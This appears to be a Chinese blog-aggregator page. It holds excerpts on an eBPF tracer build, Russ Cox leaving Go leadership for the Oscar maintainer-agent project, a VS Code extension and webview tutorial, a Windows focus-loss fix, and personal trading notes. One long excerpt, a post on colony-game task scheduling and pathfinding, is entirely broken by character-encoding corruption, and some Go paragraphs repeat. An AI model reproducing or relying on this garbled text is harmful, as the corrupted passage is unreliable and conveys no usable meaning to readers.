SEC("license") = "GPL";编译之前，我们不妨先构建一个测试程序，以便后续使用我们的工具对其进行追踪分析。
12345#include<stdio.h>int main(){puts("tracer in action");return 0;}可以利用下面提供的 Makefile 来完成所有相关组件的编译工作。
123compile:clang -O2 -g -Wall -I/usr/include -I/usr/include/bpf -o beetrace loader.c -lbpfclang -O2 -g -target bpf -c controller.c -o controller.o
整个代码可以在以下的GitHub仓库中找到：
https://github.com/0xSh4dy/bee_tracer参考链接：
- 博客 格物致知 2024-08-03 17:38:00Chrome 支持各种各样的功能，功能比较强大，其中插件是必不可少的利器，但是，平时出于职业习惯（有些产品强迫症），对于使用的插件总是有一些不满意，所以就会自己去改改，其实改起来很简单，但是对插件的整体没啥了解，所以这篇文章记录一下关于 Chrome 插件开发的一些概览。
- 博客 格物致知 2024-08-03 10:16:00因为 Chrome 开发者工具里面的选择器和 jQuery 类似，但是不一样，所以我还是习惯使用 jQuery，所以这里记录一下如何在 DevTools 中引用 jQuery
- 博客 土木坛子 2024-08-03 00:00:52投资有风险，入市需谨慎！ 总有朋友问我如何开户美股券商账户？之前觉得这种简单的事情不需要单独撰文，看来是我错估 […]
- 博客 Jason 2024-08-02 22:00:00
刘国梁讲，想赢怕输就一定会输；宁肯坚决的输，也不要犹豫的赢。
- 博客 鸟窝 2024-08-02 14:51:25
Go 第一代技术领导人 Rob Pike, 近两年已经隐居澳大利亚。
Go 第二代技术领导人 Russ Cox 2024 年 8 月 2 日宣布卸任，转战 AI 项目，聚焦 Oscar 项目。
Go 第三代技术领导人 Austin Clements, 同样和 Russ Cox 一样毕业于美国的一个计算机技术比较出名的一个学院，算是 Russ Cox 的师弟，Austin是Go语言运行时系统和垃圾收集器的主要贡献者之一，在运行时和内存管理等底层系统方面有深入的专长。Go 第一代技术领导人 Rob Pike, 近两年已经隐居澳大利亚。
Go 第二代技术领导人 Russ Cox 2024 年 8 月 2 日宣布卸任，转战 AI 项目，聚焦 Oscar 项目。
Go 第三代技术领导人 Austin Clements, 同样和 Russ Cox 一样毕业于美国的一个计算机技术比较出名的一个学院，算是 Russ Cox 的师弟，Austin是Go语言运行时系统和垃圾收集器的主要贡献者之一，在运行时和内存管理等底层系统方面有深入的专长。Russ Cox 他在网上的 ID 是 rsc，他是麻省理工学院 MIT 2008 届的博士毕业生，他本科和研究生都是在哈佛大学就读的，Go team 里的又一个学神。他所在的项目组是隶属于 MIT 计算机科学与人工智能实验室的并行与分布式操作系统组，据网上的资料 Austin Clements 也是在这个实验室这个组。
Russ 在哈佛大学就读期间就在 Bell Labs 贝尔实验室里实习（Russ 出生成长的家就在贝尔实验室附近，所以他从高中时期就一直在贝尔实验室的计算机科学部门泡着，所以大佬们是不是关注一下学区房，自己做不到也要为下一代考虑下 ：）），那时候他和 Rob Pike 一起开发贝尔实验室的分布式操作系统 Plan 9 (上世纪 80 年代末由贝尔实验室的 Ken Thompson 和 Rob Pike 等人发起并领导的项目)，后来他去 MIT 攻读博士学位期间顺便去了 Google 实习，就在他博士快毕业的时候，Rob Pike 和 Ken Thompson 一起和他介绍了他们正在设计的一门新语言 Go，并大概是这么对他说的：“嘿，我们正试图把我们以前在 Plan 9 开发软件时非常喜欢的所有东西用在那些我们想在 Google 里写的软件里，你想过来帮忙一起搞吗？”，然后 Russ 就这样被这两位传奇程序员拉拢进来，事实上 Russ 一直都认为他能在博士毕业以后直接加入 Go 团队是发生在他人生中最幸运的事之一，他说仿佛自己过去十年所学的一切东西就是为了这一刻而准备的。
他加入团队之后就接手了编译器和 Runtime 这两大核心模块，并协助一起开发了标准库，之后依靠这些先前的经验，他和其他人一起完成了标准库后续的所有重构和优化，这就是为什么当你去看 Go 语言的源码的时候会发现 Russ 的名字几乎无处不在，到处都是他的 commits。
在整个 Go 代码仓库中，Russ Cox 提交的代码量是最多的。（请注意，下图中的人物都是大佬，三代领导人都在里面，包括两巨头和 Ian）
考虑到Russ Cox在Go项目中的资历和地位以及大学的经历,他可能在某些方面扮演了Austin Clements的导师角色,但这只是推测。我同样推测 Russ Cox 和 Rob Pike 之间也有类似的师承关系。只不过国外可能没有咱们中国这种拜师的礼仪，没有磕头敬过酒。
从 Russ Cox 的信中，可以看到实际他领导 Go 项目已经 12 年，从曾经充满理想、热情澎湃的有志青年，已经进入到经历沧桑的中年，他也在思考自己的职业规划。
尤其最近几位知名 Gopher 大佬对他的批评，不知道是否导致他引退的导火索呢？或许大佬内心受伤了，心灰意冷了。
作为一个绝顶聪明，学历和资历都是金字塔的技术大牛，正处于正当打的年纪，你猜 Ross Cox 下一步会做些什么？
当然是结合当前炙热的 AI 技术，再结合 Go 的经验，做一点有意义的事情，说不定又会发展为一个明星的项目。
这个项目叫 Oscar （奥斯卡），一个开源的贡献者 Agent架构。事实上前几天 Russ Cox 已经透露了它的第一个原型：gabyhelp
Oscar 旨在通过创建用于开源维护的
自动化帮助或Agent来改进开源软件开发。我们相信有很多机会可以减少维护大型和小型开源项目所涉及的辛苦。这句话已经完全说明这个项目的远景了。
大型语言模型(LLMs)能够对自然语言(如问题报告或维护者指令)进行语义分析,并在自然语言指令和程序代码之间进行转换,这为代理与人更顺畅地交互创造了新的机会。LLMs可能最终只是整个图景中小小的(但关键的!)一部分; Agent的大部分行为将是执行标准的、确定性的代码。
Oscar与许多以开发为中心的LLMs使用方式不同,它完全不试图增强或取代编码过程。毕竟,编写代码是开发软件中最有趣的部分。相反,这个想法是专注于那些不那么有趣的部分,比如处理新提交的问题、将问题与现有文档匹配等。
奥斯卡在很大程度上是一个实验。其实 Russ Cox 目前也还不知道它最终会去哪里。即便如此，他们的第一个原型，即 @gabyhelp 机器人，已经在 Go 问题跟踪器中进行了许多成功的交互。这也许是让 Russ Cox 兴奋准备大干一场的动力吧。
目前，Oscar 是在 Go 项目的主持下开发的。在未来的某个时候，它可能会（也可能不会）被分拆成一个单独的项目。
Oscar项目的具体目标是：
- 减少维护人员解决问题的工作量 [请注意，解决并不总是意味着修复]
- 减少维护人员解决更改列表 （CL） 或拉取请求 （PR） 的工作量 [请注意，解决并不总是意味着提交/合并]
- 减少维护者解决论坛问题的工作量
- 让更多人成为高效的维护者
和 Copilot 等工具不同，自动化编码不是 Oscar目标。相反，我们专注于自动化维护人员的工作。
维护者的辛苦并不是 Go 项目所独有的，因此 Oscar的目标是构建一个任何软件项目都可以重用和扩展的架构，构建他们自己的 Agent，根据项目的需求进行定制。因此 Oscar 是：开源贡献者代理架构。等他们完成额差不多，国内的头部互联网也就会推出类似的产品了。
到目前为止， Russ Cox 已经确定了三项能力，它们将成为奥斯卡的重要组成部分：
- 在贡献者交互期间索引和显示相关的项目上下文。
- 使用自然语言来控制确定性工具。
- 分析问题报告和 CL/PR，以帮助在提交期间或提交后不久实时改进它们，并适当地标记和路由它们
具体的方法 Russ Cox 也在下面这篇文档中描述清楚了，大家可以进一步的了解。
Oscar，一个开源的贡献者代理架构参考资料：
- 博客 卢昌海的个人主页 2024-08-02 07:47:00站长 2024.07 发布的微博文字选录
- 博客 Jason 2024-08-01 22:00:00
交易，高手和低手的区别不在于高手比低手多赚多少，抓住什么暴涨的股票。在顺手时高手比低手多赚不了多少，行情来了，大家都赚钱，多赚少赚主要靠的是运气。
真正的区别是：在行情不好时，高手比低手少亏很多。
怎么控制回撤，才是考验是不是高手的标准。
我离高手还有明显的差距，要继续努力。这波主动交易是赚的，虽然错过一些波段。被动交易坐过山车，主要是没有卖出计划。这波不止损了，但之后不要再出现类似情况。
- 博客 太隐 2024-08-01 20:05:00194
- 博客 太隐 2024-08-01 20:02:46195
- 博客 二丫讲梵 2024-08-01 07:23:33如要阅读全文，点击标题跳转。学习周刊-总第170期,容器镜像加速|轻量堡垒机|新的管理后台
- 博客 Jason 2024-07-31 22:00:00
大学生，每个学期开始，写一份简历。
如果觉得没什么可写、拿不出手，那就用这个学期，让它稍微不那么难看。
- 博客 61's life 2024-07-31 17:16:22198
- 博客 elmagnifico 2024-07-31 00:00:00
Foreword
第二步，通过API实现一点点小功能
VS Code插件入门
VS Code的API目录，可以先按照大类查找，然后再找下面具体的接口
https://code.visualstudio.com/api/references/vscode-api
VS Code的API例子在下面的地址中，相关的接口可以直接看一下例子里是怎么用的，效果怎样
https://github.com/microsoft/vscode-extension-samples
具体使用进入到对应的例子目录下，然后安装包，就可以启动了
npm install F5获取文件路径
首先是通过插件获取到当前打开文件路径在哪里
vscode.window.activeTextEditor.document.uri.path
试了一下，切换文件，显示没有问题，如果没有打开路径倒是会报错，需要异常处理一下
if(vscode.window.activeTextEditor == undefined) { console.log("cant find active text editor") } else { console.log(vscode.window.activeTextEditor.document.uri.path) }还有一种路径，可能是需要当前打开的工程路径，可以通过下面这种方式获取
console.log(vscode.workspace.workspaceFolders[0].uri.fsPath)创建一个新的显示区域
在创建新的显示区域之前，先要知道一下VS Code本身有哪些区域可以用来自定义
最左侧的是
Tree View Container，这个就比较像快捷菜单接着就是左侧的树型大纲视图，这里一般以大纲或者目录的形式显示一些辅助信息
最底下的就是状态栏，可以添加一些当前工程或者插件的状态信息，比如进度条等
最右侧较大范围的就是Webview
Webview，页面视图，简单理解就是HTML中的一个
iframe，可以嵌入一个页面进来，但是这个嵌入的页面是个相对安全的沙河，只有从外部控制Webview的内容，而Webview反向控制就比较困难。所以一般可以通过Webview调用markdown、gpt、copilot等等第三方的交换界面
Webview在VS Code中，可以反向hook editor event，比如撤销、重做、保存，这样就让你在VS Code中实现一个某种编辑器成为可能。
Webview一般有三种用法：
- Webview Panels，一般的显示渲染结果的窗口
- custom editor，一个自定义的编辑器
- Webview views，大纲视图的二次开发
这里参考
vscode-extension-samples\webview-sample的例子，看他是如何让小猫在webview中写代码的
export function activate(context: vscode.ExtensionContext) { context.subscriptions.push( vscode.commands.registerCommand('catCoding.start', () => { CatCodingPanel.createOrShow(context.extensionUri); }) );注册命令主要就是调用了这个CatCodingPanel的实例化
先缩起来看一下，CatCodingPanel这个类主要的几个方法，很明显的是CatCodingPanel使用的是vs的内部pannel对象
vscode.WebviewPanel// Otherwise, create a new panel. const panel = vscode.window.createWebviewPanel( CatCodingPanel.viewType, 'Cat Coding', column || vscode.ViewColumn.One, getWebviewOptions(extensionUri), );停在接口上，就能很清晰看到4个参数的作用
function window.createWebviewPanel(viewType: string, title: string, showOptions: vscode.ViewColumn | { readonly viewColumn: vscode.ViewColumn; readonly preserveFocus?: boolean; }, options?: vscode.WebviewPanelOptions & vscode.WebviewOptions): vscode.WebviewPanel Create and show a new webview panel. @param viewType — Identifies the type of the webview panel. @param title — Title of the panel. @param showOptions — Where to show the webview in the editor. If preserveFocus is set, the new webview will not take focus. @param options — Settings for the new panel. @return — New webview panel.发现这个函数好像根本没有说具体内容是怎么显示出来的
那就看一下构造函数的内容
private constructor(panel: vscode.WebviewPanel, extensionUri: vscode.Uri) { this._panel = panel; this._extensionUri = extensionUri; // Set the webview's initial html content this._update(); // Listen for when the panel is disposed // This happens when the user closes the panel or when the panel is closed programmatically this._panel.onDidDispose(() => this.dispose(), null, this._disposables); // Update the content based on view changes this._panel.onDidChangeViewState( e => { if (this._panel.visible) { this._update(); } }, null, this._disposables ); // Handle messages from the webview this._panel.webview.onDidReceiveMessage( message => { switch (message.command) { case 'alert': vscode.window.showErrorMessage(message.text); return; } }, null, this._disposables ); }可以看到显示内容是靠update初始化的，最终调用到
_getHtmlForWebview，这个里面基本上就是封装了一个HTML页面
onDidChangeViewState就可以认为是页面改动触发的刷新，比如分屏显示，缩小或者放大webview大小onDidReceiveMessage添加了一个事件回调，收到某些命令时进行弹窗显示Webview的生命周期
Webview是有一个生命周期的，并且Webview的句柄是需要你自己保存的，否则这个东西就没人可以控制了。
而Webview同样也需要正确释放，否则就会造成额外的错误
- constructor
- dispose
- revive/reveal 从后台切到前台显示，获得焦点
Debug
Developer: Toggle Developer Tools可以看到这个webview的界面，就能清楚的看到这里其实嵌入式了iframe
内部的网页就是cat coding
加载本地资源
function getWebviewOptions(extensionUri: vscode.Uri): vscode.WebviewOptions { return { // Enable javascript in the webview enableScripts: true, // And restrict the webview to only loading content from our extension's `media` directory. localResourceRoots: [vscode.Uri.joinPath(extensionUri, 'media')] }; }需要注意在
getWebviewOptions中的localResourceRoots中会限制可以读取的资源路径，比如这里就限制必须是在插件路径的media文件夹内才可以const scriptPathOnDisk1 = vscode.Uri.joinPath(this._extensionUri, 'giphy.gif'); //const scriptPathOnDisk1 = vscode.Uri.joinPath(this._extensionUri, 'media', 'cat.gif'); const scriptUri1 = webview.asWebviewUri(scriptPathOnDisk1);如果后续读取使用的是非media路径，webview会显示不了对应的gif
通信
context.subscriptions.push( vscode.commands.registerCommand('catCoding.doRefactor', () => { if (CatCodingPanel.currentPanel) { CatCodingPanel.currentPanel.doRefactor(); } }) ); public doRefactor() { // Send a message to the webview webview. // You can send any JSON serializable data. this._panel.webview.postMessage({ command: 'refactor' }); }插件可以通过
postMessage发送消息给实例化的webview，进而实现一些控制// Handle messages sent from the extension to the webview window.addEventListener('message', event => { const message = event.data; // The json data that the extension sent switch (message.command) { case 'refactor': currentCount = Math.ceil(currentCount * 0.5); counter.textContent = `${currentCount}`; break; } });在
media/main.js中可以看到对应事件的响应代码反过来，webview也可以通过vs插件接口发送消息给插件
setInterval(() => { counter.textContent = `${currentCount++} `; // Update state vscode.setState({ count: currentCount }); // Alert the extension when the cat introduces a bug if (Math.random() < Math.min(0.001 * currentCount, 0.05)) { // Send a message back to the extension vscode.postMessage({ command: 'alert', text: '🐛 on line ' + currentCount }); } }, 100);在
media/main.js中可以看到webview加载的本地js直接调用了vs的api，进行post信息显示markdown
非常简单直接使用内置的markdown命令实现显示当前激活文档的markdown渲染视图
vscode.commands.executeCommand("markdown.showPreviewToSide", vscode.window.activeTextEditor.document.uri.path);不过这种方式只能显示一个markdown，而且具体markdown能显示啥，不能显示啥，或者说markdown的扩展，就不是我能控制的了
Summary
第二步ok
Quote
https://liiked.github.io/VS-Code-Extension-Doc-ZH/#/
https://code.visualstudio.com/api
https://stackoverflow.com/questions/39569993/vs-code-extension-get-full-path
https://zhuanlan.zhihu.com/p/693769416
https://www.cnblogs.com/liuxianan/p/vscode-plugin-webview.html
https://code.visualstudio.com/api/extension-guides/webview
- 博客 Jason 2024-07-30 22:00:00
今天美股高开低走、大跌，有几点感触。
大势很重要。所谓大势，比如总统大选等重大政治事件，加息降息等重要经济事件，全球经济环境等。当然，这些东西很难、甚至很玄。但确实重要，只能慢慢加深理解，不敢妄谈掌握。
再次印证了这一点，交易不是线性的、平均的，而是一波一波的。简单的说，对应日经的大小区间。再简单的说，日线震荡一段时间，就会上下出大行情；之后再震荡、再出方向。
好的机会，一开始就快速脱离成本区、就是盈利的；反之，如果开始就很难受、浮亏浮盈波动，那多半是鸡肋。不用担心平仓而错过大机会，以空仓及轻松的心态，迎接真正的好机会。
- 博客 elmagnifico 2024-07-30 00:00:00
Foreword
一直有一个插件或者工具的想法，只是有初步的一些点，但还不确定具体能做到什么程度，先拿VS Code的插件来实验一下是否可行
VS Code插件入门
VS Code本身是基于Electron的，所以插件的开发基础自然也就是nodejs+js
先搞懂VS Code的基础架构和插件接口，就可以考虑实现一个小demo看看效果
基于插件入门的文档，预备阶段需要一些TS知识就先跳过，写的时候再学也可以
https://liiked.github.io/VS-Code-Extension-Doc-ZH/#/
看了一下插件API可以实现的功能，以下两点大概是我目前最在意的
构建插件
来一次
Hello World准是没错的https://code.visualstudio.com/api/get-started/your-first-extension
准备
- Node.js
- Git
首先安装好代码生成
npm install --global yo generator-code- 最好挂上代理，这个包有点难拉
Hello World
调用脚手架生成代码
yo code
回答一系列问题以后，hellow就生成了，然后根据提示打开一个新的VS Code
提示安装一下插件测试器，并且提示刚才构建的插件过于老了，没关系先玩玩看
自动打开刚才新建的工程，但是此工程实际上可能跑不起来，需要先修改两个内容
直接F5，启动调试，可以看到新起了一个VS Code，尝试看是否有
Hello World命令，测试应该是没有的此时查看测试VS Code的版本号，发现是
1.90.2
核对一下package.json中的包代码，发现不一致
"engines": { "vscode": "^1.90.2" }, "devDependencies": { "@types/vscode": "^1.90.2",将依赖的包版本修改为对应的VS版本后重启
如果是热修改，VS Code也支持热重启，在调试启动的VS Code使用
Ctrl+R就会重新加载修改后的插件，立马就能验证插件了
已经有
Hello World命令，并且消息提示正常主工程的VS Code中可以看到对应的log提示
代码解析
工程结构，相对比较简单
. ├── .vscode │ ├── launch.json // 插件加载和调试的配置 │ └── tasks.json // 配置TypeScript编译任务 ├── node_modules // nodejs需要引用的各种模块 ├── test // 单元测试相关内容 ├── .vscode-test.mjs // 单元测试相关内容 ├── .gitignore ├── .vscodeignore // vscode工程的忽略文件 ├── .eslintrc.json // 应该是es编译器相关配置 ├── jsconfig.json // js相关配置 ├── .gitignore ├── README.md ├── extension.ts // 插件源代码 ├── package.json // 插件配置清单 ├── tsconfig.json // TypeScript配置- node_modules/@types/vscode/index.d.ts 中有所有的API接口
- 前面安装的插件
vscode.extension-test-runner是为了配合工程中的test单元测试使用的
其他文件基本都是配置或者环境相关文件，主要实现还是在
extension.js中// The module 'vscode' contains the VS Code extensibility API // Import the module and reference it with the alias vscode in your code below const vscode = require('vscode'); // This method is called when your extension is activated // Your extension is activated the very first time the command is executed /** * @param {vscode.ExtensionContext} context */ function activate(context) { // Use the console to output diagnostic information (console.log) and errors (console.error) // This line of code will only be executed once when your extension is activated console.log('Congratulations, your extension "hellow" is now active!'); // The command has been defined in the package.json file // Now provide the implementation of the command with registerCommand // The commandId parameter must match the command field in package.json const disposable = vscode.commands.registerCommand('hellow.helloWorld', function () { // The code you place here will be executed every time your command is executed // Display a message box to the user vscode.window.showInformationMessage('Hello World from hellow!'); }); context.subscriptions.push(disposable); } // This method is called when your extension is deactivated function deactivate() {} module.exports = { activate, deactivate }插件注册流程也比较简单，就是激活和反激活，在这两个时间可以做一些注册命令或者安装或者清理环境之类的工作
activate deactivate整个插件模块可以暴露的接口，也是可以自定义设计的
module.exports = { activate, deactivate }主要就是调用了两个接口，一个注册命令，一个显示消息
vscode.commands.registerCommand vscode.window.showInformationMessage简单理解为向VS Code的上下文中注册了这个接口
context.subscriptions.pushpackage.json需要重点说明一下，这里面描述了入口是谁，并且插件的版本和他对vscode的版本的要求，这里都是最低版本要求，同时插件的命令也在这里进行了说明{ "name": "hellow", "displayName": "hellow", "description": "", "version": "0.0.1", "engines": { "vscode": "^1.90.2" }, "categories": [ "Other" ], "activationEvents": [], "main": "./extension.js", "contributes": { "commands": [{ "command": "hellow.helloWorld", "title": "Hello World" }] }, "scripts": { "lint": "eslint .", "pretest": "npm run lint", "test": "vscode-test" }, "devDependencies": { "@types/vscode": "^1.90.2", "@types/mocha": "^10.0.7", "@types/node": "20.x", "eslint": "^8.57.0", "typescript": "^5.4.5", "@vscode/test-cli": "^0.0.9", "@vscode/test-electron": "^2.4.0" } }Summary
第一步ok
Quote
https://liiked.github.io/VS-Code-Extension-Doc-ZH/#/
https://code.visualstudio.com/api
- 博客 Jason 2024-07-29 22:00:00
Trade stupid.
Don’t think too much.
- 博客 张鑫旭-鑫空间-鑫生活 2024-07-29 01:02:44
本文通过案例演示如何使用开源JS库实现音频淡入淡出、原生JS又该实现，以及如何从底层对音频进行淡入淡出转换，都是少见的技术分享。 - 博客 elmagnifico 2024-07-29 00:00:00
Foreword
遇到一个奇怪的现象，有时候开机以后，会出现失焦的情况，打字经常被中断，各种按键操作突然就失去焦点了
现象
打开任何程序，最明显的就是打开一个记事本，然后按住一个键，默认会一直输入，如果存在失焦，就会被中断，这里只是单纯的失去焦点，并不会切换回桌面或者某个很明显的程序
- 我大概10s左右就会有一次失焦，再次重复，依然可以复现
比较奇怪的是好像都是每天第一次开机会出现，重启一下必然会好。
前面以为是我的键盘、HUB、鼠标等等存在掉驱动和重连接，而就算我全关闭或者全断开这个情况依然会出现
失焦分析
找了半天看到有一个失焦分析的小软件，刚好拿来试试
失焦监控工具放到这里了，防止有一天找不到
https://github.com/elmagnificogi/MyTools/tree/master/LoseFocus
打开以后，如果有程序主动切换焦点，就会被hook到，然后显示具体的句柄和窗体名称，这样就能抓到具体是哪个程序了。
不幸的发现，我抓到的竟然是Chrome，就算完全关闭Chrome也不行。并且这个程序的句柄值一直在变动，相当于是他启动，然后关闭，过一会又再次启动，发现问题，又关闭，如此往复。
Chrome_WidgetWin_0，这个东西基本上是所有用了Electron架构的应用都会产生的窗体，类似网易云音乐、QQNT、VScode等等，这就有点麻烦了
怀疑是最近的chrome升级可能出现了问题，再加上深信服的VPN之前卸载可能没弄干净，重新卸载一下，发现chrome的google账号有需要重新登陆了，重登以后似乎没有问题了
逐一退出右下角程序，发现Autodesk的启动项竟然影响到了这个，这是万万没想到的，这程序已经放了好几年了，第一次遇到。估计可能和哪个程序产生冲突了，才引起来的
其他失焦原因
刚开始大部分看到的都是svchost.exe导致的，这种多数是中病毒了或者是被某些莫名其妙的程序优化修改了注册表，可以通过以下办法恢复
开始-运行-regedit进入注册表,找到HKEY_CURRENT_USER\Control Panel\Desktop下的ForegroundLockTimeout项,把这个值改成10进制的任何6位数以上(系统默认200000毫秒/十六进制30d40)还有一种比较常见的失焦，是WPS的广告程序，不知道是什么原因导致他无法正常显示了，所以在后台来回切广告页面，导致的失焦。这种卸载WPS或者在设置中取消相关广告权限即可
Summary
万万没想到自动桌，你个浓眉大眼的竟然搞小手段
Quote
https://blog.csdn.net/wuruiaoxue/article/details/46774229
https://www.bilibili.com/read/cv4626259/
https://www.zhihu.com/question/33537889
- 博客 61's life 2024-07-27 22:52:08205
- 博客 二丫讲梵 2024-07-27 04:50:15如要阅读全文，点击标题跳转。学习周刊-总第169期,一个颜值颇高的短链系统
- 博客 涛叔 2024-07-26 00:00:00207
- 博客 云风的 BLOG 2024-07-25 15:49:47
�ڰ���Ҫ�� like ����Ϸ�У�����һ���ڹ��˵�����ַ�ϵͳ�����ͨ�������� RTS ������ֱ�Ӳ�������ȥ���������Ƕ�Ҫ���������´������Ź�������ȥ��ɡ�
������������ͨ��Զ���ڹ����������������ַ�ϵͳ�д���������ȼ����ã���������������������ɵĽ��С��������ȼ������������ٿص�����������������Ϸ�����е㲻ϰ�ߣ��о��������۲���ֱ�����Լ����������顣����ʯͷ�Ž�ָ���ֿ�����£������� RTS ��Ϸ�������ȵ�ѡ���ˣ������ʯͷ����ʰȡָ��� ��ϰ��֮�����ֻز�ȥ�ˡ����������� Ratopia ʱ���ͶԲٿ�����ֱ�Ӹɻ�겻�ѡ�
������Ϸ�������ʱ��Ƚϳ�������������ʱ������Ϊ��ȱ�� (ONI) ����Ե���� (Rimworld)������Ҫ�� (DF)�������� Songs of Syx ��Prison Architect �Ⱥܶ�Ҳ�������ԡ���ʵ����Щ��Ϸ����ƹ�������ϵͳ��ϸ����Ҳ������ͬ��
������Ϸʱ�����ȱ���ͱ�Ե������Ƚϣ�ͬ�����ṩ��������ٿص�������Rimworld ���Ը����˵��������ֱ���´�ָ�����ӽ� RTS ���淨������ ONI ����ͨ�������������������ȼ�ʵ�ֵġ�ONI ����˾�����������Խ��һ�����ȼ��趨��ǿ��������ɡ���Ȼ ONI Ҳ������ָ�ӵ���С���ƶ���ָ��λ�ã���ʵ����Ϸ�м���ûʲô�á�
����ʰȡ��Ʒ��Rimworld ���Է�������������Ʒ���� ONI û�������ơ�ONI �Ĺ��˼������������ѵ��ϵĶ�������ֿ⣬�����´���ɨָ�
��Щϸ�ڵIJ�ͬ��������Դ���������ʱ��˼ά�켣���ܴ�̶���Ҳȡ������Ϸ�������淨������ Rimworld ƫ���ֿسɷֺ��ص�ս������ ONI û��ս���ɷ֡�Rimworld ǿ������֮��������ϵ��ONI ��Ķ��ǹ����ˡ�
�ұȽ�ϲ�� ONI ��ϵͳ���������������������Լ�����Ϸ����������ƵIJݸ壺
��Ϸ�����д���������ȫ������Ϊ����������Ҫ�ɹ�����ɡ�
����Ҫ����Ҫ�ɶ������Ϊ���ɡ�������Ϊ�����еĽ�����Ҳ����������һЩ���ɫ������ij�����˻���ˡ�
��Ϊ��������������ͣ���ÿ������������һ��Ԥ��ġ�����Ȩ�ء�����ҿ��Զ�����������������һ��������Ȩ�ء���
ÿ���������Լ���������С����˿������ö��������͵ġ�ƫ��Ȩ�ء�����������ڳ����е�λ�ú���֮��ľ������������ġ�λ��Ȩ�ء�����ÿ�����������Ȩ����ˣ��õ���������ÿ�����˵�����Ȩ�ء�ͬһ�������ֱ����ÿ�����˵���������С�
��Щ�����Ƿ�����ض����˵ġ����磬������Ҫ���ڽ�ʳ����������ʱ��ͽ������������ȵȡ�Ҳ�������Ӧ��������С�
����������ж���ˢ�£���������������Ȩ�������˴Ӹߵ����������������Ϊһ��������Ա����䵽��������У����ԣ����Գ��ֹ��˵�ǰ����ȡ��������������չս��ϵͳ������������Ҳ��������Ļ���ͬһ������Ҳ���Ա�����ִ�С�
�Ƚ�������ǰ���������ͨ���ǽ��������һ�����ڣ��������������ṩԭ�ϡ�����Ҫ��ԭ�ϴ�һ���ص���˵�������ͼ�ĵط������ְ��������������ص㡣����������ͼ����ʱ��ԭ�Ͽ����кܶ��ѡ�����뵽����ʵ�ַ�����
��һ����һ�����������������п��õ�ԭ�Ͼ�������һ����Ӧ���������ݺ�ԭ�Ϻͽ�������ľ��룬���費ͬ��Ȩ�ء������������ٸ���������λ�ã������ʼ�ͽ�ִ��һ�������������̰�������������ȡ�����ڶ��������Dz�ͬԭ�ϵ�λ�ã�ֻҪԭ�Ͽɴ�ͷ���һ����Ӧ����ÿ�������ڿ�����������Ȩ��ʱ��ֻ�����Լ��ͽ��칤�صľ��롣
����������һ���������������и������ı��֡���Ϊ������������ԭ�Ͻ��Ĺ��˾ͽ��õ�ԭ�Ͽ�ʼ���ˡ�����ʵ���Ͽ����ڶ�������������Ϊ��û�аѰ����������������ֻ�ڹ���ִ������ʱ����Ѱ��ԭ�ϡ�Ѱ��ԭ�ϱ��ִ������Ĺ��̣������ڼ���Ȩ�غͷ�������ν��С�
����Ѱ·
������ʵ���˻�����Ѱ·ģ�顣һ��ʼ������Ϊ��Ҫ�Ļ��������ǣ���dz������д� A �㵽 B ���·�������ڳ��������һ�����������ʱ�仯�����Ժ��ѶԳ�������ֵ�Ԥ����������һ��Ѱ·ģ���ʱ�估�ռ临�Ӷȶ�����̫�ͣ�������Ϸ�п��²���̫��Ƶʹ��������ʵ�������涼���Ǻ����⣬�����ֻ�ͷ���ع�����
�������ϵͳ�����ǣ���ͻȻ���֣���ʵ������Ҫ�IJ����ҵ����� A B ������ͨ��·���������ҵ���ͬһ����������������кܶ���·������Ϊ������������λ�����Եģ����λ�����Ծ���������ÿ�����˵Ķ����еIJ�ͬȨ�أ����ߴӹ��˽Ƕȿ�����ͬʱ����Զ����ͬλ�õ�������Ҫ���ݾ���Զ���������ԣ��������Ļ�������Ӧ���ǣ����ÿ�����˵ĵ�ǰλ�ã����������ɴ�����ÿ��λ�õ��ж�·�ߣ����ü��д���Ϳ������ɡ�ͬ����������ҵ�һ���������������ԭ�Ϲ�Ӧ���Զ����Ҳ����ʹ����ͬ���㷨��
����ֻ�ڿ�ʼ��һ��������ʱ������Ҫ��һ�μ��㡣��һ��������ִ��һ������Ĺ����У��Ͳ�����Ҫʵʱ���������������ص�·����
- 博客 Jason 2024-07-24 22:00:00
交易并不是线性的，而是一波一波的。一旦一波没抓住，对盈亏结果影响很大。
日常交易是平淡的；在长期平淡的交易中，能保证最终盈利，并不容易。
而一旦能抓住大的波动，收益巨大。日常平淡的交易中，可以少交易，甚至不交易也可以，还能节约、释放时间。
- 博客 Jiajun的编程随想 2024-07-24 08:00:00《2的补码》计算机的底层是一堆的bit,具体怎么理解bit，取决于我们怎么解释，对于同样的8个bit，例如 `11111111`，我们可以把它看成是一个无符号数，也可以看成是一个有符号数。如果我们把它看成是一个无符号数，那么它的值就是255，如果我们把它看成是一个有符号数，那么它的值就是-1, 如果理解为字符，那么它就是一个字符，具体是什么字符，取决于编码方式，如果是ASCII编码，那么它就是DEL字符...
- 博客 Jason 2024-07-23 22:00:00
花了点时间，研究开发小米手环 App，主要还是因为自己一个需求。
发现小米手环 7，用的是华米的 Zepp OS；后来小米和华米崩了之后，从 8 开始，用的是 Vela 系统。
我先是研究了 Vela 系统，感觉开发还挺便利。发现不同后，由于我的手环是 7，就又研究了 Zepp OS，发现它的开发明显不如 Vela 友好，我甚至折腾半天都无法运行模拟器。再加上华米的发展不顺利，会直接影响在开发上的投入，比如开发文档已经快一年没更新了，模拟器无法运行问题，估计也没什么资源投入去修复。
算了，不想在这上面太花时间，还是拥抱更容易开发、且后续发展有保障的 Vela 吧，就下单了刚发布的小米手环 9…主要是正好现在的 7 有莫名其妙的问题，比如倒计时中途停止、早上闹钟不响，待机时间也明显变短。
收到小米手环 9 后，折腾了一下，可以安装程序到手环，这感觉很棒！
可惜，手机息屏后，倒计时就不工作了，再研究下。
研究后发现，即使使用 Vela 的后台功能，也不能保证运行。倒是可以使屏幕常亮来保持小程序运行，但手盖在屏幕上就息屏了，不可靠。
回过头来看，Zepp OS 倒是支持无 UI 模式运行，并支持以通知的形式提醒，伴随震动。这倒是符合要求。但是，貌似并不支持小米手环 7。哎，二等公民。
算了，先不折腾了。
- 博客 张鑫旭-鑫空间-鑫生活 2024-07-23 15:11:59
盼星星，盼月亮，我的第5本书《HTML并不简单》已经正式上架了，这里讲讲为什么会想到写一本关于HTML的书籍，介绍下本书的内容结构，签字版购买等信息，希望可以得到大家的正版支持。 - 博客 格物致知 2024-07-22 22:09:00DNS 是网络中非常重要的一个服务和话题，在平时工作中使用的也非常多，之前我也写过一篇介绍 DNS 以及系统设置的文章，DNS 以及 Linux 下的相关配置文件，但是今天我要聊一聊的是自己通过 CoreDNS 部署一个 DNS 服务器。
